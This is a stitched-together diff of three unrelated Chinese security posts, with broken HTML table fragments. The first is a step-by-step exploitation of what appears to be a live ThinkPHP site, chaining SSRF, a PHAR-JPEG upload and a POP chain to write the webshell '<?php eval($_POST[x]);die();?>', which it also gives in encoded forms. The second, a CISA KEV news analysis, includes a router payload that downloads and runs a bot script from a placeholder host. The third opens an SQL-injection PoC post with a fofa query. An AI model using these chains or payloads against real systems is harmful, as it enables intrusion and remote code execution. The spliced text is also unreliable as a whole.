mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 563.03125px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">7.x,short_open_tag=On</span></span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n4460" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 181.984375px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">open_basedir</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n4461" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 563.03125px;min-height: 10px;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">/www/wwwroot/admin/:/tmp/</spanLine truncated
|
||||
|
||||
前台能打的只有
|
||||
application/api/controller/
|
||||
下面这些控制器。后台
|
||||
/adim888/
|
||||
需要管理员session,先不管。
|
||||
|
||||
逐个翻前台控制器,找的是这几种模式:
|
||||
- file_get_contents($可控)
|
||||
—— SSRF
|
||||
|
||||
- 裸SQL拼接,或者
|
||||
->where($可控字符串)
|
||||
—— SQLi
|
||||
|
||||
- 文件操作(上传/删除/包含)
|
||||
|
||||
- 任何可能触发反序列化的sink(
|
||||
unserialize
|
||||
、
|
||||
phar://
|
||||
)
|
||||
|
||||
## 0x03 漏洞一:SSRF —— /api/image/image
|
||||
|
||||
翻到
|
||||
application/api/controller/Image.php
|
||||
,整个控制器就一个方法,写得非常直接:
|
||||
```
|
||||
```
|
||||
|
||||
$noNeedLogin = '*'
|
||||
意味着这个接口完全不需要认证。
|
||||
input('url')
|
||||
直接拿用户传入的url参数,丢给
|
||||
file_get_contents()
|
||||
,没有任何过滤。
|
||||
|
||||

|
||||
|
||||
|
||||
这个SSRF能做的事情很多:
|
||||
|
||||
**读本地文件:**
|
||||
```
|
||||
```
|
||||
|
||||
受 open_basedir 限制,只能读
|
||||
/www/wwwroot/admin/
|
||||
和
|
||||
/tmp/
|
||||
两个目录。不过对审计来说够用了——整个项目源码和ThinkPHP框架源码都在
|
||||
/www/wwwroot/admin/
|
||||
下面。
|
||||
|
||||
但是仅仅是读本地文件+env打链子在无法远程mysql连接的情况下是不行的
|
||||
|
||||
但是 要注意
|
||||
file_get_contents()
|
||||
支持
|
||||
phar://
|
||||
协议
|
||||
|
||||
**触发phar反序列化:**
|
||||
```
|
||||
```
|
||||
|
||||
这就是后面RCE的触发点。
|
||||
## 0x04 漏洞二:上传校验不足 —— /api/common/upload
|
||||
|
||||
application/api/controller/Common.php
|
||||
的
|
||||
upload()
|
||||
方法:
|
||||
```
|
||||
```
|
||||
|
||||
校验逻辑只看后缀名是不是在白名单里。
|
||||
jpg
|
||||
在白名单中,后缀校验通过。上传后存到
|
||||
/uploads/YYYYMMDD/{filemd5}.jpg
|
||||
,路径完全可预测。
|
||||
|
||||
关键问题:
|
||||
**只校验后缀,不检查文件内容**
|
||||
。一个PHAR文件,只要后缀是
|
||||
.jpg
|
||||
,就能直接传上去。后面会利用这一点上传 PHAR-JPEG polyglot。
|
||||
## 0x05 漏洞三:注册绕过 —— os=pc
|
||||
|
||||
看
|
||||
User.php
|
||||
的
|
||||
register()
|
||||
方法(line 809),注册流程中会根据
|
||||
os
|
||||
参数判断客户端类型:
|
||||
```
|
||||
```
|
||||
|
||||
当
|
||||
$client == "pc"
|
||||
时走PC端流程,不需要手机验证码。直接
|
||||
POST /api/user/register
|
||||
带上
|
||||
os=pc
|
||||
就能注册账号,用于后续获取上传接口的认证token。
|
||||
## 0x06 ThinkPHP 5.0.24 POP链分析
|
||||
|
||||
上面找到了SSRF(触发点)、上传(payload投递),下一步就是构造PHAR里的反序列化payload。ThinkPHP 5.0.24有一条经典的POP链,终点是往磁盘写PHP文件。
|
||||
### 链的入口:Windows::__destruct
|
||||
|
||||
thinkphp/library/think/process/pipes/Windows.php
|
||||
:
|
||||
```
|
||||
```
|
||||
|
||||
$this->files
|
||||
可控。当
|
||||
$filename
|
||||
是一个对象时,
|
||||
file_exists()
|
||||
会隐式调用
|
||||
__toString()
|
||||
。把
|
||||
$this->files
|
||||
设为
|
||||
[Pivot对象]
|
||||
就能跳到下一步。
|
||||
### Pivot::__toString → toArray
|
||||
|
||||
think\Model
|
||||
(Pivot的父类)的
|
||||
__toString()
|
||||
最终调用
|
||||
toArray()
|
||||
。
|
||||
toArray()
|
||||
里面有一段处理
|
||||
$this->append
|
||||
的逻辑(Model.php line 887-923):
|
||||
```
|
||||
```
|
||||
|
||||
设
|
||||
$this->append = ['getError']
|
||||
,Pivot有
|
||||
getError()
|
||||
方法(返回
|
||||
$this->error
|
||||
),
|
||||
$this->error
|
||||
设为一个
|
||||
HasOne
|
||||
关系对象。
|
||||
|
||||
getRelationData()
|
||||
这里有个关键判断(Model.php line 639-651):
|
||||
```
|
||||
```
|
||||
|
||||
控制
|
||||
$this->parent
|
||||
为
|
||||
Output
|
||||
对象,
|
||||
HasOne::isSelfRelation()
|
||||
返回 false,类名匹配条件满足后,
|
||||
$value
|
||||
就是这个
|
||||
Output
|
||||
对象。
|
||||
|
||||
然后遍历
|
||||
bindAttr
|
||||
,调用
|
||||
$value->getAttr($attr)
|
||||
——但
|
||||
Output
|
||||
没有
|
||||
getAttr
|
||||
方法,触发
|
||||
__call
|
||||
。
|
||||
### Output::__call → Memcached::write
|
||||
|
||||
think\console\Output
|
||||
的
|
||||
__call
|
||||
实现(Output.php line 209-220):
|
||||
```
|
||||
```
|
||||
|
||||
$this->styles
|
||||
设为
|
||||
['getAttr']
|
||||
,匹配成功后调用
|
||||
block('getAttr', 'no')
|
||||
:
|
||||
```
|
||||
```
|
||||
|
||||
输出
|
||||
<getAttr>no</getAttr>
|
||||
,经过
|
||||
writeln()
|
||||
→
|
||||
write()
|
||||
→
|
||||
$this->handle->write()
|
||||
。
|
||||
|
||||
$this->handle
|
||||
设为
|
||||
Memcached
|
||||
对象(
|
||||
think\session\driver\Memcached
|
||||
,不是PHP的ext-memcached扩展):
|
||||
```
|
||||
```
|
||||
|
||||
$this->handler
|
||||
设为
|
||||
File
|
||||
缓存驱动对象,
|
||||
$sessID
|
||||
就是那个
|
||||
<getAttr>no</getAttr>
|
||||
字符串。
|
||||
### File::set —— 终点:写文件
|
||||
|
||||
think\cache\driver\File
|
||||
的
|
||||
set()
|
||||
方法(File.php line 141-167):
|
||||
```
|
||||
```
|
||||
|
||||
$this->options['path']
|
||||
完全可控。
|
||||
set()
|
||||
干了两件事:
|
||||
1. **写主缓存文件**
|
||||
:文件名 =
|
||||
path + md5($name) + '.php'
|
||||
,内容 =
|
||||
<?php exit();?>
|
||||
前缀 +
|
||||
serialize(true)
|
||||
即
|
||||
b:1;
|
||||
|
||||
1. **调用 setTagItem($filename)**
|
||||
:把主缓存文件的完整路径作为值,写到tag文件里
|
||||
|
||||
setTagItem()
|
||||
在父类
|
||||
Driver
|
||||
中(Driver.php line 188-202):
|
||||
```
|
||||
```
|
||||
|
||||
tag文件的内容 =
|
||||
<?php exit();?>
|
||||
前缀 +
|
||||
serialize(主缓存文件路径)
|
||||
。
|
||||
### 问题来了:exit()
|
||||
|
||||
不管是主缓存文件还是tag文件,内容开头都有
|
||||
<?php\n//000000000000\n exit();?>\n
|
||||
。直接HTTP访问这些文件会执行到
|
||||
exit()
|
||||
就结束了,后面的 webshell 代码永远跑不到。
|
||||
|
||||
所以关键在于:
|
||||
**$this->options['path'] 可以设为 php://filter/write=XXX/resource=... 的形式**
|
||||
,利用PHP流过滤器在写入时对内容做变换,把
|
||||
exit()
|
||||
搞掉。
|
||||
## 0x07 绕 exit()
|
||||
### 第一次:string.rot13(失败)
|
||||
|
||||
思路:ROT13把
|
||||
<?php exit();?>
|
||||
变成
|
||||
<?cuc rkvg();?>
|
||||
,正常情况下不被PHP执行。
|
||||
```
|
||||
```
|
||||
|
||||
写入后文件内容变成:
|
||||
```
|
||||
```
|
||||
|
||||
**但是服务器 short_open_tag=On。**
|
||||
|
||||
<?cuc
|
||||
被PHP解析为短开标签
|
||||
<? cuc
|
||||
,然后
|
||||
rkvg()
|
||||
是个未定义函数,直接 Fatal Error。webshell 代码在后面根本跑不到。
|
||||
|
||||
ROT13方案在
|
||||
short_open_tag=Off
|
||||
的环境下可行,但这台服务器开了短标签,直接废了。
|
||||
### 第二次:strip_tags + base64-decode(失败)
|
||||
|
||||
经典的两级过滤器方案:
|
||||
```
|
||||
```
|
||||
|
||||
原理:
|
||||
1. string.strip_tags
|
||||
把
|
||||
<?php ... ?>
|
||||
标签整个删掉,包括
|
||||
exit()
|
||||
|
||||
1. convert.base64-decode
|
||||
把剩余内容做base64解码,提取出预埋的webshell
|
||||
|
||||
构造的 webshell 是
|
||||
<?php eval($_POST[x]);
|
||||
(24字节,24%3=0,base64不带padding)。base64编码后
|
||||
PD9waHAgZXZhbCgkX1BPU1RbeF0pOyAg
|
||||
,不含
|
||||
+
|
||||
和
|
||||
=
|
||||
。
|
||||
|
||||
payload嵌入到path的
|
||||
resource=
|
||||
后面,写入时base64解码还原出webshell。
|
||||
|
||||
**测试结果:主缓存文件正常,tag文件为空。**
|
||||
|
||||
主缓存文件的值是
|
||||
serialize(true)
|
||||
=
|
||||
b:1;
|
||||
,不含
|
||||
=
|
||||
,base64解码正常,写入后HTTP 200,返回1个字节
|
||||
o
|
||||
(base64残留解码结果),符合预期。
|
||||
|
||||
但tag文件的值是主缓存文件的完整路径,类似:
|
||||
```
|
||||
```
|
||||
|
||||
路径里包含
|
||||
write=
|
||||
和
|
||||
resource=
|
||||
两个等号。
|
||||
convert.base64-decode
|
||||
流过滤器是逐块处理的,遇到
|
||||
=
|
||||
会当作base64 padding,导致后续数据解码错位,最终输出为空。
|
||||
|
||||
在本地PHP 8.5和远程PHP 7上都验证了这个行为。
|
||||
**base64方案在tag文件这一步彻底失败。**
|
||||
### 第三次:convert.iconv.UCS-2LE.UCS-2BE(成功)
|
||||
|
||||
换一个完全不同的思路。UCS-2是一种2字节定长编码,
|
||||
UCS-2LE
|
||||
和
|
||||
UCS-2BE
|
||||
之间转换就是把每2个字节互换位置。
|
||||
```
|
||||
```
|
||||
|
||||
原理很简单:
|
||||
```
|
||||
```
|
||||
|
||||
?<
|
||||
不是PHP开标签(需要
|
||||
<?
|
||||
),所以
|
||||
exit()
|
||||
这行被搅碎了,PHP不会执行。
|
||||
|
||||
然后在路径中嵌入"预编码"的webshell——就是把目标webshell做一次字节交换:
|
||||
```
|
||||
```
|
||||
|
||||
写入时经过 iconv 字节交换,预编码的shell被还原成正确的PHP代码。
|
||||
|
||||
**完整的写入文件内容示意:**
|
||||
```
|
||||
```
|
||||
|
||||
PHP解析时,前面的乱码不是
|
||||
<?
|
||||
开头,被当作普通文本忽略。碰到
|
||||
<?php eval(...)
|
||||
时进入PHP模式。
|
||||
die()
|
||||
确保执行完 eval 后立刻结束,后面的乱码不会被解析。最后的
|
||||
?>
|
||||
关闭PHP块,再后面的内容当HTML处理。
|
||||
### 关于 die() 和 ?> 的必要性
|
||||
|
||||
第一次尝试 iconv 时,shell 写的是
|
||||
<?php eval($_POST[x]);die();
|
||||
(没有
|
||||
?>
|
||||
)。结果PHP解析器把shell后面的乱码字节也当PHP代码去解析,触发了 Parse Error,整个文件不可执行。
|
||||
|
||||
加上
|
||||
?>
|
||||
关闭标签后:
|
||||
- <?php eval($_POST[x]);die();?>
|
||||
—— PHP块正确关闭
|
||||
|
||||
- 后续乱码被当作HTML文本,不影响PHP执行
|
||||
|
||||
- die()
|
||||
阻止PHP输出乱码HTML
|
||||
|
||||
### 字节对齐
|
||||
|
||||
UCS-2要求处理的数据长度是偶数。写入的总内容包括:
|
||||
```
|
||||
```
|
||||
|
||||
预编码shell从第124字节开始,偏移为偶数,交换后能正确还原。总内容192字节,也是偶数。
|
||||
|
||||
如果不加那个
|
||||
_
|
||||
padding,总长度是奇数,最后一个字节没有配对,整个iconv转换就会出错。
|
||||
## 0x08 PHAR-JPEG Polyglot
|
||||
|
||||
上传接口只接受图片后缀,而且上传后会调用
|
||||
getimagesize()
|
||||
校验。所以PHAR文件需要同时是合法的JPEG。
|
||||
|
||||
做法是用GD库生成一个1x1的JPEG,取其二进制内容(去掉末尾2字节EOI标记),再拼接上PHAR的
|
||||
__HALT_COMPILER()
|
||||
标记作为stub:
|
||||
```
|
||||
```
|
||||
|
||||
生成的文件:
|
||||
- getimagesize()
|
||||
识别为 1x1 image/jpeg(JPEG头完整)
|
||||
|
||||
- PHP PHAR引擎能正确解析(
|
||||
__HALT_COMPILER()
|
||||
标记存在)
|
||||
|
||||
- 后缀
|
||||
.jpg
|
||||
通过上传白名单
|
||||
|
||||
## 0x09 open_basedir的影响
|
||||
|
||||
服务器配置了
|
||||
open_basedir = /www/wwwroot/admin/:/tmp/
|
||||
。这个限制对攻击链的每个环节影响如下:
|
||||
|
||||
**SSRF读文件:**
|
||||
|
||||
file_get_contents('file:///etc/passwd')
|
||||
会被拦。但
|
||||
/www/wwwroot/admin/
|
||||
正好包含了整个项目目录,所有源码和框架文件都能读。
|
||||
/tmp/
|
||||
可以用来读临时文件。对审计来说完全够用。
|
||||
|
||||
**PHAR写文件:**
|
||||
|
||||
file_put_contents()
|
||||
写文件受 open_basedir 限制。但 webroot
|
||||
/www/wwwroot/admin/public/
|
||||
就在
|
||||
/www/wwwroot/admin/
|
||||
的子目录下,在允许范围内。如果 webroot 不在 open_basedir 列表里,这条链就断了。
|
||||
|
||||
**webshell执行:**
|
||||
shell落地后,
|
||||
eval()
|
||||
内能操作的文件也局限在这两个目录。要读
|
||||
/etc/passwd
|
||||
之类的需要先绕 open_basedir(chdir+ini_set技巧或者glob://),但这不影响RCE本身。
|
||||
|
||||
**结论:open_basedir没有挡住这条攻击链。**
|
||||
因为webroot恰好在允许列表内。如果管理员把 open_basedir 设成
|
||||
/www/wwwroot/admin/runtime/:/tmp/
|
||||
之类不包含
|
||||
public/
|
||||
的路径,POP链就写不进webroot了——当然那样网站自己也跑不了。
|
||||
## 0x0A SSRF的复合利用
|
||||
|
||||
这次审计中,SSRF不只是用来触发PHAR的。整个过程中用了好几次:
|
||||
|
||||
**1. 读源码辅助审计**
|
||||
|
||||
通过
|
||||
file://
|
||||
协议把服务端源码拉下来分析。open_basedir 内的文件都能读:
|
||||
```
|
||||
```
|
||||
|
||||
这样拿到了
|
||||
File::set()
|
||||
的源码,确认了 exit 前缀的格式和
|
||||
setTagItem()
|
||||
的行为。
|
||||
|
||||
**2. 探测服务端配置**
|
||||
```
|
||||
```
|
||||
|
||||
发现
|
||||
.user.ini
|
||||
存在且被
|
||||
chattr +i
|
||||
保护(不可修改),排除了通过
|
||||
auto_prepend_file
|
||||
注入webshell的路径。
|
||||
|
||||
**3. 触发PHAR反序列化**
|
||||
```
|
||||
```
|
||||
|
||||
file_get_contents('phar://...')
|
||||
解析PHAR文件,自动反序列化metadata中的对象,触发
|
||||
__destruct
|
||||
,启动POP链。
|
||||
|
||||
**4. 验证文件写入**
|
||||
```
|
||||
```
|
||||
|
||||
通过
|
||||
file://
|
||||
读取刚才写入的shell文件,确认文件是否落地、内容是否正确。
|
||||
## 0x0B 完整利用流程
|
||||
### Step 1:注册账号
|
||||
```
|
||||
```
|
||||
|
||||
os=pc
|
||||
走PC端流程,跳过手机验证码。拿到token用于后续请求认证。
|
||||
### Step 2:生成PHAR-JPEG
|
||||
|
||||
用PHP脚本生成。POP链参数:
|
||||
```
|
||||
```
|
||||
|
||||
path
|
||||
分解:
|
||||
- php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=
|
||||
—— 流过滤器声明
|
||||
|
||||
- /www/wwwroot/admin/public/
|
||||
—— webroot
|
||||
|
||||
- _
|
||||
—— 对齐padding
|
||||
|
||||
- ?<hp pvela$(P_SO[T]x;)id(e;)>?
|
||||
—— 预编码的webshell
|
||||
|
||||
### Step 3:上传
|
||||
```
|
||||
```
|
||||
### Step 4:SSRF触发
|
||||
```
|
||||
```
|
||||
|
||||
返回HTTP 500是正常的——POP链执行过程中抛了异常,但文件已经写入磁盘了。
|
||||
### Step 5:访问webshell
|
||||
|
||||
文件名计算:
|
||||
- tag名
|
||||
xxx
|
||||
→
|
||||
md5('xxx')
|
||||
=
|
||||
b165eb...
|
||||
|
||||
- tag key =
|
||||
tag_
|
||||
+
|
||||
md5('xxx')
|
||||
=
|
||||
tag_b165eb...
|
||||
|
||||
- tag hash =
|
||||
md5('tag_b165eb...')
|
||||
=
|
||||
12ac95f1498ce51d2d96a249c09c1998
|
||||
|
||||
shell在磁盘上的路径:
|
||||
```
|
||||
```
|
||||
|
||||
HTTP访问(特殊字符URL编码):
|
||||
```
|
||||
```
|
||||
|
||||
返回:
|
||||
```
|
||||
```
|
||||
|
||||
RCE成功。
|
||||
## 0x0C Shell信息
|
||||
```
|
||||
```
|
||||
|
||||
注意
|
||||
system()
|
||||
/
|
||||
exec()
|
||||
等被
|
||||
disable_functions
|
||||
禁了,需要另外绕过(LD_PRELOAD / FFI / iconv trick 等),不在本文范围内。
|
||||
## 0x0D 踩坑记录
|
||||
|
||||
<table><thead><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><th style="box-sizing: border-box;padding: 6px 13px;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;"><span cid="n4673" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 132.484375px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">问题</span></span></span></th><th style="box-sizing: border-box;padding: 6px 13px;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;"><span cid="n4674" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 171.796875px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">现象</span></span></span></th><th style="box-sizing: border-box;padding: 6px 13px;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;"><span cid="n4675" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 238.921875px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">原因</span></span></span></th><th style="box-sizing: border-box;padding: 6px 13px;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;"><span cid="n4676" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 147.84375px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">解决</span></span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n4678" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 132.484375px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">ROT13写shell无法执行</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n4679" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 171.796875px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">访问shell返回500 Fatal Error</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n4680" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 238.921875px;min-height: 10px;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">short_open_tag=On</span></code></span><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">,</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf=""><?cuc</span></code></span><span md-inline="plain" style="box-sizing: border-box;"><span leaf=""> 被当短标签解析</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n4681" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 147.84375px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">放弃ROT13</span></span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n4683" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 132.484375px;min-height: 10px;"><span md-inline="plain" style="box-sizingLine truncated
|
||||
@@ -0,0 +1,124 @@
|
||||
# 勒索软件与Mirai的狂欢:CISA最新KEV漏洞技术复盘与防护
|
||||
原创 Kit Chung
|
||||
Kit Chung 安全圈动向 2026-04-28 00:04
|
||||
|
||||

|
||||
|
||||
大家好,我在刷安全圈新闻的时候,发现美国网络安全和基础设施安全局(CISA)在上周五悄悄丢了个“深水炸弹”。他们将四个已经被黑客在真实环境中“疯狂摩擦”的漏洞,正式加入了已知被利用漏洞(KEV)目录。
|
||||
|
||||
这四个漏洞涉及 **SimpleHelp、三星 MagicINFO 9 Server,以及大家非常熟悉的 D-Link DIR-823X 系列路由器**
|
||||
。老规矩,咱们不看热闹,看门道。今天我带大家深挖一下这几个漏洞背后的技术原理,看看攻击者是怎么利用它们搞事情的。
|
||||
> **重点:**
|
||||
这些漏洞不是停留在实验室里的概念证明(PoC),而是已经被勒索软件和僵尸网络(Mirai)在野利用了!联邦机构的修复
|
||||
dead line
|
||||
定在了 **2026年5月8日**
|
||||
。
|
||||
|
||||
## 💣 漏洞一与漏洞二:SimpleHelp 的“提权+RCE”致命组合拳
|
||||
|
||||
这次最惹眼的莫过于 SimpleHelp 的两个漏洞,黑客在实际攻击中往往把它们组合起来用,一套连招直接拿下服务器最高权限。这也是很多勒索软件(比如 DragonForce 组织)最喜欢的打点方式。
|
||||
### 1. CVE-2024-57726:越权狂欢,低权限秒升 Admin (CVSS: 9.9)
|
||||
|
||||
**技术剖析:**
|
||||
|
||||
这是一个典型的**权限校验缺失(Missing Authorization)**
|
||||
漏洞。在正常的 RBAC(基于角色的访问控制)模型中,只有高级管理员才能生成高权限的 API Key。但在这个漏洞中,后端的接口对发起请求的用户角色没有进行严格的越权校验。
|
||||
|
||||
**攻击路径还原:**
|
||||
1. 攻击者首先获取一个最低权限的“技术员”(low-privileged technician)账号。
|
||||
|
||||
1. 构造一个恶意的 HTTP 请求,调用创建 API Key 的接口。
|
||||
|
||||
1. 由于后端只认请求,不校验当前 Session 的权限级别,攻击者可以直接在 payload 中给自己分配 Admin
|
||||
权限。
|
||||
|
||||
1. 拿到 Admin API Key 后,系统大门彻底敞开。
|
||||
|
||||
### 2. CVE-2024-57728:经典的 Zip Slip 目录遍历 (CVSS: 7.2)
|
||||
|
||||
**技术剖析:**
|
||||
|
||||
拿到了高权限后,攻击者的下一步肯定是追求 RCE(远程命令执行)。这个漏洞的本质是 **Zip Slip(压缩包目录遍历)**
|
||||
。当系统在解压用户上传的 ZIP 文件时,没有对文件名中的 ../
|
||||
进行过滤。
|
||||
|
||||
**攻击路径还原:**
|
||||
|
||||
攻击者会精心构造一个包含恶意文件的 ZIP 包,文件名为类似 ../../../../../../etc/cron.d/malicious_script
|
||||
。
|
||||
|
||||
当以 Admin 身份(通过上一个漏洞获取)上传并触发解压操作时,后端程序会将文件直接写入宿主机的系统目录中。通过覆盖计划任务(Cron)、启动脚本或动态链接库,攻击者就能以 SimpleHelp 服务器的运行身份,在宿主机上执行任意代码。
|
||||
## 🕳️ 漏洞三:三星 MagicINFO 9 Server 任意文件写入
|
||||
### CVE-2024-7399:路径遍历的又一个受害者 (CVSS: 8.8)
|
||||
|
||||
**技术剖析:**
|
||||
|
||||
三星的 MagicINFO 主要是用来管理数字标牌的,这种部署在内网边缘的设备一旦沦陷,很容易成为内网渗透的跳板。这也是一个路径遍历漏洞,但可怕的是,它的后端服务是以 **SYSTEM 权限(最高系统权限)**
|
||||
运行的。
|
||||
|
||||
**攻击思路探讨:**
|
||||
|
||||
虽然官方没有放出具体的 exploit 细节,但根据过往经验,这类漏洞通常发生在日志导出、固件上传或配置文件备份等功能点。攻击者通过构造恶意的 POST 请求路径或参数,绕过 WAF 或后端的路径校验逻辑(例如使用 %2e%2e%2f
|
||||
这种 URL 编码形式绕过简单的正则匹配),将恶意 WebShell 或木马直接写入 Web 根目录,甚至替换系统级别的 DLL 文件,从而实现直接的接管。
|
||||
> **威胁情报联动:**
|
||||
历史数据显示,这个漏洞曾被黑客用来大面积部署 Mirai 僵尸网络,专门抓肉鸡。
|
||||
|
||||
## 🔌 漏洞四:D-Link EOL 路由器命令注入
|
||||
### CVE-2025-29635:经典的 IoT 灾难 (CVSS: 7.5)
|
||||
|
||||
**技术剖析:**
|
||||
|
||||
D-Link DIR-823X 系列路由器已经到了生命周期终点(End-of-Life, EOL),这意味着官方已经停止了维护。这个漏洞存在于 Web 管理界面的 /goform/set_prohibiting
|
||||
接口。
|
||||
|
||||
**攻击路径还原:**
|
||||
|
||||
在 IoT 安全领域,这种漏洞简直是“家常便饭”。该接口在接收到包含特定参数的 POST 请求时,没有对用户输入进行严格的无害化处理(Sanitization),直接将参数拼接到了系统调用(如 system()
|
||||
或 exec()
|
||||
)中。
|
||||
|
||||
攻击者只需要构造类似下面这样的 Payload(伪代码示意):
|
||||
```
|
||||
POST /goform/set_prohibiting HTTP/1.1Host: 192.168.0.1Content-Type: application/x-www-form-urlencodedparam_name=123; wget http://malicious-server/bot.sh -O /tmp/bot.sh; sh /tmp/bot.sh
|
||||
```
|
||||
|
||||
利用分号 ;
|
||||
或管道符 |
|
||||
截断原有命令,黑客就能让远程设备乖乖下载并执行恶意脚本。
|
||||
|
||||
**最新态势:**
|
||||
Akamai 本周刚刚披露,他们已经监控到针对该漏洞的在野攻击,攻击者正在疯狂投递名为 **"tuxnokill"**
|
||||
的 Mirai 僵尸网络变种。
|
||||
## 🛡️ 我的修复与防护建议
|
||||
|
||||
作为技术人,看完这些攻击链路,咱们该怎么做?
|
||||
1. **针对 SimpleHelp 和 三星设备:**
|
||||
别犹豫,今晚就加班**打补丁**
|
||||
。这种已经被勒索软件盯上的漏洞,多暴露一分钟就多一分被加密勒索的风险。
|
||||
|
||||
1. **针对 D-Link 路由器:**
|
||||
CISA 的建议很直接——**停止使用**
|
||||
。因为设备已经 EOL,厂商不会再发补丁了。如果你的企业还在用这种老旧设备当边缘网关,赶紧申请预算换新设备,物理拔线最安全。
|
||||
|
||||
1. **架构防御:**
|
||||
建议在 WAF 侧增加对 ../
|
||||
、%2e%2e
|
||||
等目录遍历特征的强拦截;同时,严格审查内网系统创建 API Key 的业务逻辑,确保鉴权机制的原子性。
|
||||
|
||||
网络安全就是一场和黑客拼手速的赛跑。大家赶紧自查一下手头的资产清单吧!
|
||||
|
||||
[#网络安全]()
|
||||
|
||||
[#漏洞分析]()
|
||||
|
||||
[#渗透测试]()
|
||||
|
||||
[#RCE漏洞]()
|
||||
|
||||
[#僵尸网络]()
|
||||
|
||||
[#勒索软件]()
|
||||
|
||||
[#系统安全]()
|
||||
|
||||
|
||||
@@ -0,0 +1,111 @@
|
||||
# 天地伟业Easy7 queryDataByTypeEx SQL注入漏洞
|
||||
Superhero
|
||||
Superhero Nday Poc 2026-04-28 02:05
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
内容仅用于学习交流自查使用,由于传播、利用本公众号所提供的
|
||||
POC
|
||||
信息及
|
||||
POC对应脚本
|
||||
而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号Nday Poc及作者不为此承担任何责任,一旦造成后果请自行承担!
|
||||
|
||||
|
||||
**01**
|
||||
|
||||
**漏洞概述**
|
||||
|
||||
|
||||
天地伟业Easy7 queryDataByTypeEx 接口存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码,站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
|
||||
**02******
|
||||
|
||||
**搜索引擎**
|
||||
|
||||
|
||||
fofa:
|
||||
```
|
||||
app="Tiandy-Easy7"
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
